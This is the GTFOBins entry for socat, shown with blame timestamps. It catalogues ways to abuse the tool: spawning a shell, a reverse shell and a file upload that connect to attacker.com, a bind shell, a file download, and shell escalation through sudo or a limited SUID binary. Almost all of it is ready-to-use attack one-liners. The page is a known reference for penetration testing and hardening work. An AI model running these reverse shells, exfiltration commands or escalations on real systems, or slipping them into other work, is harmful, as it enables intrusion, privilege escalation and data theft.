GTFOBins.github.io/_gtfobins/socat.md

43 lines
1.7 KiB
Markdown
Raw Normal View History

2018-05-22 22:40:27 +02:00
---
functions:
2020-05-13 19:33:13 +02:00
shell:
2020-05-13 19:41:28 +02:00
- description: The resulting shell is not a proper TTY shell and lacks the prompt.
code: |
2020-05-13 19:36:45 +02:00
socat stdin exec:/bin/sh
2018-10-05 19:55:38 +02:00
reverse-shell:
2018-07-22 16:22:03 +02:00
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
2018-07-16 15:01:50 +02:00
code: |
RHOST=attacker.com
RPORT=12345
2020-05-13 19:36:45 +02:00
socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane
2018-10-05 19:55:38 +02:00
bind-shell:
2018-07-22 16:22:03 +02:00
- description: Run ``socat FILE:`tty`,raw,echo=0 TCP:target.com:12345`` on the attacker box to connect to the shell.
2018-07-16 15:01:50 +02:00
code: |
LPORT=12345
2020-05-13 19:36:45 +02:00
socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
file-upload:
- description: Run ``socat -u tcp-listen:12345,reuseaddr open:file_to_save,creat`` on the attacker box to collect the file.
2019-07-08 18:26:18 +02:00
code: |
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
2020-04-25 19:36:06 +02:00
socat -u file:$LFILE tcp-connect:$RHOST:$RPORT
file-download:
- description: Run ``socat -u file:file_to_send tcp-listen:12345,reuseaddr`` on the attacker box to send the file.
2019-07-08 18:26:18 +02:00
code: |
RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
2020-04-25 19:36:06 +02:00
socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat
2020-05-13 19:36:45 +02:00
sudo:
2020-05-13 19:41:28 +02:00
- description: The resulting shell is not a proper TTY shell and lacks the prompt.
code: |
2020-05-13 19:36:45 +02:00
sudo socat stdin exec:/bin/sh
limited-suid:
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
./socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane
2018-05-25 01:10:39 +02:00
---